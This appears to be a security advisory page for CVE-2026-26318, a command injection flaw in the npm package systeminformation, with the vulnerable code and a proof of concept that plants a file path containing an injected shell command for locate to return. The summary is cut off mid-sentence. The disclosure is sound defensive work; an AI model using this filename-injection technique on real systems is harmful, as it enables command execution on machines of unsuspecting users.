A AegiFlow
HIGHCVSS 8.8EPSS 1.3%

CVE-2026-26318

Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

Published
2026-02-18
Modified
2026-09-24
EPSS percentile
69%
Aliases
GHSA-5vv4-hvf7-2h46
Sources
github-advisory

Summary

# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation **Package:** systeminformation (npm) **Tested Version:** 5.30.7 **Affected Platform:** Linux **Author:** Sebastian Hildebrandt **Weekly Downloads:** ~5,000,000+ **Repository:** https://github.com/sebhildebrandt/systeminformation **Severity:** Medium **CWE:** CWE-78 (OS Command Injection) --- ### The Vulnerable Code Path Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this: ```javascript // lib/osinfo.js — lines 770-776 exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } }); ``` Here's what happens step by step: 1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the **last element** (highest alphabetically) 4. It concatenates that path directly into a new `exec()` call with `+ ' -V'` **No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.** The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`. --- ## Exploitation ### Prerequisites For this vulnerability to be exploitable, the following conditions must be met: 1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block 2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL 3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback) 4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb` 5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros ### Step 1 — Verify the Environment On the target machine, confirm locate is available and running: ``` which locate # /usr/bin/locate systemctl list-timers | grep plocate # plocate-updatedb.timer plocate-updatedb.service # (runs daily, typically around 1-2 AM) ``` Check who owns the locate database: ``` ls -la /var/lib/plocate/plocate.db # -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db ``` Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files. ### Step 2 — Craft the Malicious File Path The key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**. Create a file whose path contains an injected command: ``` mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin" touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres" ``` Verify it exists: ``` find /var/tmp -name postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes: ``` sudo updatedb ``` Then verify locate picks it up: ``` locate bin/postgres # /usr/lib/postgresql/14/bin/postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` ### Step 3 — Understand the Sort Trick The vulnerable code sorts the locate results alphabetically and takes the **last** element: ```javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...); ``` Alphabet

Affected packages

EcosystemPackageAffected versionsFixed versions
npmsysteminformation—5.31.0

Remediation: Upgrade to 5.31.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.